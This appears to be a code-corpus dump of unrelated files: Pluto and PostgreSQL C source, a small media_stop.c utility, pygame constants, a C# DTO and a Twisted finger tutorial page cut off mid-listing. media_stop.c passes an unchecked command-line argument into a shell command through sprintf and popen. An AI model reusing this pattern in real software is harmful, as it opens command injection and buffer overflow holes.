pluto_matrix_get_rank(tprime); pluto_matrix_free(tprime); return isols; } int pluto_stmt_get_num_ind_hyps(const Stmt *stmt) { int isols, i; PlutoMatrix *tprime = pluto_matrix_dup(stmt->trans); /* Ignore padding dimensions, params, and constant part */ for (i=stmt->dim_orig; i<stmt->trans->ncols; i++) { pluto_matrix_remove_col(tprime, stmt->dim_orig); } isols = pluto_matrix_get_rank(tprime); pluto_matrix_free(tprime); return isols; } /* * Are all transformations full column-ranked? */ int pluto_transformations_full_ranked(PlutoProg *prog) { int i; for (i=0; i<prog->nstmts; i++) { if (pluto_stmt_get_num_ind_hyps(prog->stmts[i]) < prog->stmts[i]->dim_orig) { return 0; } } return 1; } osl_relation_p get_identity_schedule(int dim, int npar) { int i, j; osl_relation_p rln = osl_relation_pmalloc(PLUTO_OSL_PRECISION, 2*dim + 1, dim+npar+1+1); //copy matrix values for(i=0; i < rln->nb_rows; i++){ osl_int_set_si(rln->precision, &rln->m[i][0], 0); for(j=0; j < rln->nb_columns; j++){ osl_int_set_si(rln->precision, &rln->m[i][j], 0); } } for(i=1; i < dim ; i++){ osl_int_set_si(rln->precision, &rln->m[2*i-1][i], 1); } rln->type = OSL_TYPE_SCATTERING; rln->nb_parameters = npar; rln->nb_output_dims = dim; rln->nb_input_dims = 0; rln->nb_local_dims = 0; return rln; } static int read_codegen_context_from_file(PlutoConstraints *codegen_context) { FILE *fp = fopen("codegen.context", "r"); if (fp) { IF_DEBUG(printf("[Pluto] Reading from codegen.context\n");); PlutoConstraints *cc = pluto_constraints_read(fp); if (cc && cc->ncols == codegen_context->ncols) { pluto_constraints_add(codegen_context, cc); return 0; } IF_DEBUG(printf("[WARNING] Failed to read from codegen.context\n");); } return 1; } /* * Return clone of a statement */ Stmt *pluto_stmt_dup(const Stmt *stmt) { int i; Stmt *nstmt = pluto_stmt_alloc(stmt->dim, stmt->domain, stmt->trans); nstmt->dim_orig = stmt->dim_orig; nstmt->type = stmt->type; for (i=0; i<stmt->dim; i++) { nstmt->iterators[i] = strdup(stmt->iterators[i]); nstmt->is_orig_loop[i] = stmt->is_orig_loop[i]; } if (stmt->text) nstmt->text = strdup(stmt->text); nstmt->nreads = stmt->nreads; nstmt->nwrites = stmt->nwrites; nstmt->reads = malloc(nstmt->nreads*sizeof(PlutoAccess *)); nstmt->writes = malloc(nstmt->nwrites*sizeof(PlutoAccess *)); for (i=0; i<stmt->nreads; i++) { nstmt->reads[i] = pluto_access_dup(stmt->reads[i]); } for (i=0; i<stmt->nwrites; i++) { nstmt->writes[i] = pluto_access_dup(stmt->reads[i]); } return nstmt; } static void decrement_stmt_id(PlutoProg *prog, int id) { int i; prog->stmts[id]->id--; for (i=0; i<prog->ndeps; i++) { Dep *dep = prog->deps[i]; if (dep->src == id) { dep->src--; } if (dep->dest == id) { dep->dest--; } } } /* Add statement to program; can't reuse arg stmt pointer any more */ void pluto_remove_stmt(PlutoProg *prog, int stmt_id) { int i; pluto_stmt_free(prog->stmts[stmt_id]); for (i=stmt_id; i<prog->nstmts-1; i++) { prog->stmts[i] = prog->stmts[i+1]; decrement_stmt_id(prog, prog->stmts[i]->id); } prog->nstmts--; prog->stmts = (Stmt **) realloc(prog->stmts, ((prog->nstmts)*sizeof(Stmt *))); for (i=0; i<prog->nstmts; i++) { prog->nvar = PLMAX(prog->nvar, prog->stmts[i]->dim); } } void pluto_transformations_pretty_print(const PlutoProg *prog) { int nstmts, i; nstmts = prog->nstmts; for (i=0; i<nstmts; i++) { pluto_stmt_transformation_print(prog->stmts[i]); } } void pluto_transformation_print_level(const PlutoProg *prog, int level) { int nstmts, i; nstmts = prog->nstmts; for (i=0; i<nstmts; i++) { fprintf(stdout, "h(S%d) = ", i+1); pluto_stmt_print_hyperplane(stdout, prog->stmts[i], level); if (i < nstmts-1) fprintf(stdout, ", "); } printf("\n"); } /* List properties of newly found hyperplanes */ void pluto_print_hyperplane_properties(const PlutoProg *prog) { int j, numH; HyperplaneProperties *hProps; hProps = prog->hProps; numH = prog->num_hyperplanes; if (numH == 0) { fprintf(stdout, "No hyperplanes\n"); } /* Note that loop properties are calculated for each dimension in the * transformed space (common for all statements) */ for (j=0; j<numH; j++) { fprintf(stdout, "t%d --> ", j+1); switch (hProps[j].dep_prop) { case PARALLEL: fprintf(stdout, "parallel "); break; case SEQ: fprintf(stdout, "serial "); break; case PIPE_PARALLEL: fprintf(stdout, "fwd_dep "); break; default: fprintf(stdout, "unknown "); break; } switch (hProps[j].type) { case H_LOOP: fprintf(stdout, "loop "); break; case H_SCALAR: fprintf(stdout, "scalar"); break; case H_TILE_SPACE_LOOP: fprintf(stdout, "tLoop "); break; default: fprintf(stdout, "unknown "); // assert(0); break; } fprintf(stdout, " (band %d)", hProps[j].band_num); fprintf(stdout, hProps[j].unroll? "ujam":"no-ujam"); fprintf(stdout, "\n"); } fprintf(stdout, "\n"); } void pluto_transformations_print(const PlutoProg *prog) { int i; for (i=0; i<prog->nstmts; i++) { printf("T_(S%d) \n", prog->stmts[i]->id+1); pluto_matrix_print(stdout, prog->stmts[i]->trans); } } void pluto_stmt_transformation_print(const Stmt *stmt) { fprintf(stdout, "T(S%d): ", stmt->id+1); int level; printf("("); for (level=0; level<stmt->trans->nrows; level++) { pluto_stmt_print_hyperplane(stdout, stmt, level); if (level <= stmt->trans->nrows-2) printf(", "); } printf(")\n"); printf("loop types ("); for (level=0; level<stmt->trans->nrows; level++) { if (level > 0) printf(", "); if (stmt->hyp_types[level] == H_SCALAR) printf("scalar"); else if (stmt->hyp_types[level] == H_LOOP) printf("loop"); else if (stmt->hyp_types[level] == H_TILE_SPACE_LOOP) printf("tloop"); else printf("unknown"); } printf(")\n\n"); }
realincubus/pluto_clang
src/program.c
C
gpl-3.0
129,988
/**---------------------------------------------------------------------------- * Name: media_stop.c * Purpose: media stop module * Author: JungJaeJoon on the www.kernel.bz *----------------------------------------------------------------------------- * Notes: *----------------------------------------------------------------------------- */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/statvfs.h> #include <sys/wait.h> #include <sys/types.h> #include <fcntl.h> #include <dirent.h> #include <signal.h> int get_process_id(char *arg) { FILE *fp; char buf[80] = {0}; int pid; sprintf(buf, "ps aux | grep %s | awk '{print $2}'", arg); fp = popen(buf, "r"); if (fp) { fgets(buf, 10, fp); //printf("buf=%s.%d\r\n", buf, atoi(buf)); pid = atoi(buf); } else { pid = -1; } pclose(fp); return pid; } int main(int argc, char **argv) { int pid, idx; int sig[] = { SIGUSR1, SIGUSR2, SIGCONT }; ///stop, end, repeat if (argc > 2) { pid = get_process_id(argv[1]); idx = atoi(argv[2]); if (pid > 0 && idx >= 0 && idx < 3) { kill(pid, sig[idx]); } } return 0; }
kernel-bz/razig
media/media_stop.c
C
gpl-3.0
1,290
/*------------------------------------------------------------------------- * * extended_stats.c * POSTGRES extended statistics * * Generic code supporting statistics objects created via CREATE STATISTICS. * * * Portions Copyright (c) 1996-2017, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * IDENTIFICATION * src/backend/statistics/extended_stats.c * *------------------------------------------------------------------------- */ #include "postgres.h" #include "access/genam.h" #include "access/heapam.h" #include "access/htup_details.h" #include "catalog/indexing.h" #include "catalog/pg_collation.h" #include "catalog/pg_statistic_ext.h" #include "nodes/relation.h" #include "postmaster/autovacuum.h" #include "statistics/extended_stats_internal.h" #include "statistics/statistics.h" #include "utils/builtins.h" #include "utils/fmgroids.h" #include "utils/lsyscache.h" #include "utils/memutils.h" #include "utils/rel.h" #include "utils/syscache.h" /* * Used internally to refer to an individual statistics object, i.e., * a pg_statistic_ext entry. */ typedef struct StatExtEntry { Oid statOid; /* OID of pg_statistic_ext entry */ char *schema; /* statistics object's schema */ char *name; /* statistics object's name */ Bitmapset *columns; /* attribute numbers covered by the object */ List *types; /* 'char' list of enabled statistic kinds */ } StatExtEntry; static List *fetch_statentries_for_relation(Relation pg_statext, Oid relid); static VacAttrStats **lookup_var_attr_stats(Relation rel, Bitmapset *attrs, int nvacatts, VacAttrStats **vacatts); static void statext_store(Relation pg_stext, Oid relid, MVNDistinct *ndistinct, MVDependencies *dependencies, VacAttrStats **stats); /* * Compute requested extended stats, using the rows sampled for the plain * (single-column) stats. * * This fetches a list of stats types from pg_statistic_ext, computes the * requested stats, and serializes them back into the catalog. */ void BuildRelationExtStatistics(Relation onerel, double totalrows, int numrows, HeapTuple *rows, int natts, VacAttrStats **vacattrstats) { Relation pg_stext; ListCell *lc; List *stats; MemoryContext cxt; MemoryContext oldcxt; cxt = AllocSetContextCreate(CurrentMemoryContext, "stats ext", ALLOCSET_DEFAULT_SIZES); oldcxt = MemoryContextSwitchTo(cxt); pg_stext = heap_open(StatisticExtRelationId, RowExclusiveLock); stats = fetch_statentries_for_relation(pg_stext, RelationGetRelid(onerel)); foreach(lc, stats) { StatExtEntry *stat = (StatExtEntry *) lfirst(lc); MVNDistinct *ndistinct = NULL; MVDependencies *dependencies = NULL; VacAttrStats **stats; ListCell *lc2; /* * Check if we can build these stats based on the column analyzed. If * not, report this fact (except in autovacuum) and move on. */ stats = lookup_var_attr_stats(onerel, stat->columns, natts, vacattrstats); if (!stats && !IsAutoVacuumWorkerProcess()) { ereport(WARNING, (errcode(ERRCODE_INVALID_OBJECT_DEFINITION), errmsg("statistics object \"%s.%s\" could not be computed for relation \"%s.%s\"", stat->schema, stat->name, get_namespace_name(onerel->rd_rel->relnamespace), RelationGetRelationName(onerel)), errtable(onerel))); continue; } /* check allowed number of dimensions */ Assert(bms_num_members(stat->columns) >= 2 && bms_num_members(stat->columns) <= STATS_MAX_DIMENSIONS); /* compute statistic of each requested type */ foreach(lc2, stat->types) { char t = (char) lfirst_int(lc2); if (t == STATS_EXT_NDISTINCT) ndistinct = statext_ndistinct_build(totalrows, numrows, rows, stat->columns, stats); else if (t == STATS_EXT_DEPENDENCIES) dependencies = statext_dependencies_build(numrows, rows, stat->columns, stats); } /* store the statistics in the catalog */ statext_store(pg_stext, stat->statOid, ndistinct, dependencies, stats); } heap_close(pg_stext, RowExclusiveLock); MemoryContextSwitchTo(oldcxt); MemoryContextDelete(cxt); } /* * statext_is_kind_built * Is this stat kind built in the given pg_statistic_ext tuple? */ bool statext_is_kind_built(HeapTuple htup, char type) { AttrNumber attnum; switch (type) { case STATS_EXT_NDISTINCT: attnum = Anum_pg_statistic_ext_stxndistinct; break; case STATS_EXT_DEPENDENCIES: attnum = Anum_pg_statistic_ext_stxdependencies; break; default: elog(ERROR, "unexpected statistics type requested: %d", type); } return !heap_attisnull(htup, attnum); } /* * Return a list (of StatExtEntry) of statistics objects for the given relation. */ static List * fetch_statentries_for_relation(Relation pg_statext, Oid relid) { SysScanDesc scan; ScanKeyData skey; HeapTuple htup; List *result = NIL; /* * Prepare to scan pg_statistic_ext for entries having stxrelid = this * rel. */ ScanKeyInit(&skey, Anum_pg_statistic_ext_stxrelid, BTEqualStrategyNumber, F_OIDEQ, ObjectIdGetDatum(relid)); scan = systable_beginscan(pg_statext, StatisticExtRelidIndexId, true, NULL, 1, &skey); while (HeapTupleIsValid(htup = systable_getnext(scan))) { StatExtEntry *entry; Datum datum; bool isnull; int i; ArrayType *arr; char *enabled; Form_pg_statistic_ext staForm; entry = palloc0(sizeof(StatExtEntry)); entry->statOid = HeapTupleGetOid(htup); staForm = (Form_pg_statistic_ext) GETSTRUCT(htup); entry->schema = get_namespace_name(staForm->stxnamespace); entry->name = pstrdup(NameStr(staForm->stxname)); for (i = 0; i < staForm->stxkeys.dim1; i++) { entry->columns = bms_add_member(entry->columns, staForm->stxkeys.values[i]); } /* decode the stxkind char array into a list of chars */ datum = SysCacheGetAttr(STATEXTOID, htup, Anum_pg_statistic_ext_stxkind, &isnull); Assert(!isnull); arr = DatumGetArrayTypeP(datum); if (ARR_NDIM(arr) != 1 || ARR_HASNULL(arr) || ARR_ELEMTYPE(arr) != CHAROID) elog(ERROR, "stxkind is not a 1-D char array"); enabled = (char *) ARR_DATA_PTR(arr); for (i = 0; i < ARR_DIMS(arr)[0]; i++) { Assert((enabled[i] == STATS_EXT_NDISTINCT) || (enabled[i] == STATS_EXT_DEPENDENCIES)); entry->types = lappend_int(entry->types, (int) enabled[i]); } result = lappend(result, entry); } systable_endscan(scan); return result; } /* * Using 'vacatts' of size 'nvacatts' as input data, return a newly built * VacAttrStats array which includes only the items corresponding to * attributes indicated by 'stxkeys'. If we don't have all of the per column * stats available to compute the extended stats, then we return NULL to indicate * to the caller that the stats should not be built. */ static VacAttrStats ** lookup_var_attr_stats(Relation rel, Bitmapset *attrs, int nvacatts, VacAttrStats **vacatts) { int i = 0; int x = -1; VacAttrStats **stats; stats = (VacAttrStats **) palloc(bms_num_members(attrs) * sizeof(VacAttrStats *)); /* lookup VacAttrStats info for the requested columns (same attnum) */ while ((x = bms_next_member(attrs, x)) >= 0) { int j; stats[i] = NULL; for (j = 0; j < nvacatts; j++) { if (x == vacatts[j]->tupattnum) { stats[i] = vacatts[j]; break; } } if (!stats[i]) { /* * Looks like stats were not gathered for one of the columns * required. We'll be unable to build the extended stats without * this column. */ pfree(stats); return NULL; } /* * Sanity check that the column is not dropped - stats should have * been removed in this case. */ Assert(!stats[i]->attr->attisdropped); i++; } return stats; } /* * statext_store * Serializes the statistics and stores them into the pg_statistic_ext tuple. */ static void statext_store(Relation pg_stext, Oid statOid, MVNDistinct *ndistinct, MVDependencies *dependencies, VacAttrStats **stats) { HeapTuple stup, oldtup; Datum values[Natts_pg_statistic_ext]; bool nulls[Natts_pg_statistic_ext]; bool replaces[Natts_pg_statistic_ext]; memset(nulls, 1, Natts_pg_statistic_ext * sizeof(bool)); memset(replaces, 0, Natts_pg_statistic_ext * sizeof(bool)); memset(values, 0, Natts_pg_statistic_ext * sizeof(Datum)); /* * Construct a new pg_statistic_ext tuple, replacing the calculated stats. */ if (ndistinct != NULL) { bytea *data = statext_ndistinct_serialize(ndistinct); nulls[Anum_pg_statistic_ext_stxndistinct - 1] = (data == NULL); values[Anum_pg_statistic_ext_stxndistinct - 1] = PointerGetDatum(data); } if (dependencies != NULL) { bytea *data = statext_dependencies_serialize(dependencies); nulls[Anum_pg_statistic_ext_stxdependencies - 1] = (data == NULL); values[Anum_pg_statistic_ext_stxdependencies - 1] = PointerGetDatum(data); } /* always replace the value (either by bytea or NULL) */ replaces[Anum_pg_statistic_ext_stxndistinct - 1] = true; replaces[Anum_pg_statistic_ext_stxdependencies - 1] = true; /* there should already be a pg_statistic_ext tuple */ oldtup = SearchSysCache1(STATEXTOID, ObjectIdGetDatum(statOid)); if (!HeapTupleIsValid(oldtup)) elog(ERROR, "cache lookup failed for statistics object %u", statOid); /* replace it */ stup = heap_modify_tuple(oldtup, RelationGetDescr(pg_stext), values, nulls, replaces); ReleaseSysCache(oldtup); CatalogTupleUpdate(pg_stext, &stup->t_self, stup); heap_freetuple(stup); } /* initialize multi-dimensional sort */ MultiSortSupport multi_sort_init(int ndims) { MultiSortSupport mss; Assert(ndims >= 2); mss = (MultiSortSupport) palloc0(offsetof(MultiSortSupportData, ssup) + sizeof(SortSupportData) * ndims); mss->ndims = ndims; return mss; } /* * Prepare sort support info using the given sort operator * at the position 'sortdim' */ void multi_sort_add_dimension(MultiSortSupport mss, int sortdim, Oid oper) { SortSupport ssup = &mss->ssup[sortdim]; ssup->ssup_cxt = CurrentMemoryContext; ssup->ssup_collation = DEFAULT_COLLATION_OID; ssup->ssup_nulls_first = false; ssup->ssup_cxt = CurrentMemoryContext; PrepareSortSupportFromOrderingOp(oper, ssup); } /* compare all the dimensions in the selected order */ int multi_sort_compare(const void *a, const void *b, void *arg) { MultiSortSupport mss = (MultiSortSupport) arg; SortItem *ia = (SortItem *) a; SortItem *ib = (SortItem *) b; int i; for (i = 0; i < mss->ndims; i++) { int compare; compare = ApplySortComparator(ia->values[i], ia->isnull[i], ib->values[i], ib->isnull[i], &mss->ssup[i]); if (compare != 0) return compare; } /* equal by default */ return 0; } /* compare selected dimension */ int multi_sort_compare_dim(int dim, const SortItem *a, const SortItem *b, MultiSortSupport mss) { return ApplySortComparator(a->values[dim], a->isnull[dim], b->values[dim], b->isnull[dim], &mss->ssup[dim]); } int multi_sort_compare_dims(int start, int end, const SortItem *a, const SortItem *b, MultiSortSupport mss) { int dim; for (dim = start; dim <= end; dim++) { int r = ApplySortComparator(a->values[dim], a->isnull[dim], b->values[dim], b->isnull[dim], &mss->ssup[dim]); if (r != 0) return r; } return 0; } /* * has_stats_of_kind * Check whether the list contains statistic of a given kind */ bool has_stats_of_kind(List *stats, char requiredkind) { ListCell *l; foreach(l, stats) { StatisticExtInfo *stat = (StatisticExtInfo *) lfirst(l); if (stat->kind == requiredkind) return true; } return false; } /* * choose_best_statistics * Look for and return statistics with the specified 'requiredkind' which * have keys that match at least two of the given attnums. Return NULL if * there's no match. * * The current selection criteria is very simple - we choose the statistics * object referencing the most of the requested attributes, breaking ties * in favor of objects with fewer keys overall. * * XXX if multiple statistics objects tie on both criteria, then which object * is chosen depends on the order that they appear in the stats list. Perhaps * further tiebreakers are needed. */ StatisticExtInfo * choose_best_statistics(List *stats, Bitmapset *attnums, char requiredkind) { ListCell *lc; StatisticExtInfo *best_match = NULL; int best_num_matched = 2; /* goal #1: maximize */ int best_match_keys = (STATS_MAX_DIMENSIONS + 1); /* goal #2: minimize */ foreach(lc, stats) { StatisticExtInfo *info = (StatisticExtInfo *) lfirst(lc); int num_matched; int numkeys; Bitmapset *matched; /* skip statistics that are not of the correct type */ if (info->kind != requiredkind) continue; /* determine how many attributes of these stats can be matched to */ matched = bms_intersect(attnums, info->keys); num_matched = bms_num_members(matched); bms_free(matched); /* * save the actual number of keys in the stats so that we can choose * the narrowest stats with the most matching keys. */ numkeys = bms_num_members(info->keys); /* * Use this object when it increases the number of matched clauses or * when it matches the same number of attributes but these stats have * fewer keys than any previous match. */ if (num_matched > best_num_matched || (num_matched == best_num_matched && numkeys < best_match_keys)) { best_match = info; best_num_matched = num_matched; best_match_keys = numkeys; } } return best_match; }
robins/postgres
src/backend/statistics/extended_stats.c
C
gpl-3.0
13,705
local a,b = 4,5
kobreu/compiler
testinput/grammar/stat_local_assignment.lua
Lua
gpl-3.0
15
<html> <pre> Automatic Parsing for Content Analysis Although automatic syntactic and semantic analysis is not yet possible for all of an unrestricted natural language text, some applications, of which content analysis is one, do not have such a stringent coverage requirement. Preliminary studies show that the Harvard Syntactic Analyzer can produce correct and unambiguous identification of the subject and object of certain verbs for approximately half of the relevant occurrences. This provides a degree of coverage for content analysis variables which compares favorably to manual methods, in variables which compares favorably to manual methods, in which only a sample of the total available text is normally processed. CACM June, 1970 Damerau, F. J. Content analysis, parsing, syntactic analysis, natural language processing, information retrieval, language analysis, text processing 3.42 3.71 CA700605 JB February 13, 1978 11:43 AM 1350 4 2050 1659 4 2050 1856 4 2050 2050 4 2050 1225 5 2050 2050 5 2050 2050 5 2050 2050 5 2050 </pre> </html>
jrosseel/ProjectInformationRetrieval
InfoRetrievalSystem/dataset/CACM-2050.html
HTML
gpl-3.0
1,066
from pygame import USEREVENT # Events SONG_END_EVENT = USEREVENT + 1 ENEMY_DESTROYED_EVENT = USEREVENT + 2 BOSS_BATTLE_EVENT = USEREVENT + 3 DISPLAY_MESSAGE_EVENT = USEREVENT + 4 END_LEVEL_EVENT = USEREVENT + 5 END_GAME_EVENT = USEREVENT + 6 # Constants SCREEN_SIZE = (800, 600) # Colors COLOR_BLACK = (0, 0, 0)
juanjosegzl/learningpygame
constants.py
Python
gpl-3.0
315
using System; using System.Collections.Generic; using System.Linq; using System.Runtime.Serialization; using System.Text; using System.Threading.Tasks; using BMW.Rheingold.Psdz.Model.Ecu; namespace BMW.Rheingold.Psdz.Model.Sfa { [KnownType(typeof(PsdzEcuIdentifier))] [KnownType(typeof(PsdzFeatureIdCto))] [DataContract] public class PsdzSecureTokenEto : IPsdzSecureTokenEto { [DataMember] public IPsdzEcuIdentifier EcuIdentifier { get; set; } [DataMember] public IPsdzFeatureIdCto FeatureIdCto { get; set; } [DataMember] public string SerializedSecureToken { get; set; } [DataMember] public string TokenId { get; set; } } }
uholeschak/ediabaslib
Tools/Psdz/PsdzClientLibrary/Psdz/PsdzSecureTokenEto.cs
C#
gpl-3.0
720
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Twisted Documentation: The Evolution of Finger: pluggable backends</title> <link href="../stylesheet.css" rel="stylesheet" type="text/css"/> </head> <body bgcolor="white"> <h1 class="title">The Evolution of Finger: pluggable backends</h1> <div class="toc"><ol><li><a href="#auto0">Introduction</a></li><li><a href="#auto1">Another Back-end</a></li><li><a href="#auto2">Yet Another Back-end: Doing the Standard Thing</a></li></ol></div> <div class="content"> <span/> <h2>Introduction<a name="auto0"/></h2> <p> This is the fifth part of the Twisted tutorial <a href="index.html" shape="rect">Twisted from Scratch, or The Evolution of Finger</a>.</p> <p>In this part we will add new several new backends to our finger service using the component-based architecture developed in <a href="components.html" shape="rect">The Evolution of Finger: moving to a component based architecture</a>. This will show just how convenient it is to implement new back-ends when we move to a component based architecture. Note that here we also use an interface we previously wrote, <code>FingerSetterFactory</code>, by supporting one single method. We manage to preserve the service's ignorance of the network.</p> <h2>Another Back-end<a name="auto1"/></h2> <div class="py-listing"><pre><p class="py-linenumber"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 </p><span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">protocol</span>, <span class="py-src-variable">reactor</span>, <span class="py-src-variable">defer</span>, <span class="py-src-variable">utils</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">pwd</span> <span class="py-src-comment"># Another back-end</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">LocalFingerService</span>(<span class="py-src-parameter">service</span>.<span class="py-src-parameter">Service</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerService</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-comment"># need a local finger daemon running for this to work</span> <span class="py-src-keyword">return</span> <span class="py-src-variable">utils</span>.<span class="py-src-variable">getProcessOutput</span>(<span class="py-src-string">&quot;finger&quot;</span>, [<span class="py-src-variable">user</span>]) <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(<span class="py-src-parameter">self</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">defer</span>.<span class="py-src-variable">succeed</span>([]) <span class="py-src-variable">f</span> = <span class="py-src-variable">LocalFingerService</span>() </pre><div class="caption">Source listing - <a href="listings/finger/finger19b_changes.py"><span class="filename">listings/finger/finger19b_changes.py</span></a></div></div> <p> Full source code here: <div class="py-listing"><pre><p class="py-linenumber"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 </p><span class="py-src-comment"># Do everything properly, and componentize</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">application</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">internet</span>, <span class="py-src-variable">service</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">protocol</span>, <span class="py-src-variable">reactor</span>, <span class="py-src-variable">defer</span>, <span class="py-src-variable">utils</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">words</span>.<span class="py-src-variable">protocols</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">irc</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">protocols</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">basic</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">python</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">components</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">resource</span>, <span class="py-src-variable">server</span>, <span class="py-src-variable">static</span>, <span class="py-src-variable">xmlrpc</span> <span class="py-src-keyword">from</span> <span class="py-src-variable">zope</span>.<span class="py-src-variable">interface</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">Interface</span>, <span class="py-src-variable">implements</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">cgi</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">pwd</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUsers</span>(): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a list of strings. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Set the user's status to something. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerSetterService</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">setUser</span>(<span class="py-src-parameter">user</span>, <span class="py-src-parameter">status</span>): <span class="py-src-string">&quot;&quot;&quot; Set the user's status to something. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">catchError</span>(<span class="py-src-parameter">err</span>): <span class="py-src-keyword">return</span> <span class="py-src-string">&quot;Internal error in server&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerProtocol</span>(<span class="py-src-parameter">basic</span>.<span class="py-src-parameter">LineReceiver</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">lineReceived</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-variable">d</span> = <span class="py-src-variable">self</span>.<span class="py-src-variable">factory</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">d</span>.<span class="py-src-variable">addErrback</span>(<span class="py-src-variable">catchError</span>) <span class="py-src-keyword">def</span> <span class="py-src-identifier">writeValue</span>(<span class="py-src-parameter">value</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">transport</span>.<span class="py-src-variable">write</span>(<span class="py-src-variable">value</span>+<span class="py-src-string">'\r\n'</span>) <span class="py-src-variable">self</span>.<span class="py-src-variable">transport</span>.<span class="py-src-variable">loseConnection</span>() <span class="py-src-variable">d</span>.<span class="py-src-variable">addCallback</span>(<span class="py-src-variable">writeValue</span>) <span class="py-src-keyword">class</span> <span class="py-src-identifier">IFingerFactory</span>(<span class="py-src-parameter">Interface</span>): <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">user</span>): <span class="py-src-string">&quot;&quot;&quot; Return a deferred returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">buildProtocol</span>(<span class="py-src-parameter">addr</span>): <span class="py-src-string">&quot;&quot;&quot; Return a protocol returning a string. &quot;&quot;&quot;</span> <span class="py-src-keyword">class</span> <span class="py-src-identifier">FingerFactoryFromService</span>(<span class="py-src-parameter">protocol</span>.<span class="py-src-parameter">ServerFactory</span>): <span class="py-src-variable">implements</span>(<span class="py-src-variable">IFingerFactory</span>) <span class="py-src-variable">protocol</span> = <span class="py-src-variable">FingerProtocol</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">__init__</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">service</span>): <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span> = <span class="py-src-variable">service</span> <span class="py-src-keyword">def</span> <span class="py-src-identifier">getUser</span>(<span class="py-src-parameter">self</span>, <span class="py-src-parameter">user</span>): <span class="py-src-keyword">return</span> <span class="py-src-variable">self</span>.<span class="py-src-variable">service</span>.<span class="py-src-variable">getUser</span>(<span class="py-src-variable">user</span>) <span class="py-src-variable">components</span>.<span class="py-src-variable">registerAdapter</span>(<span 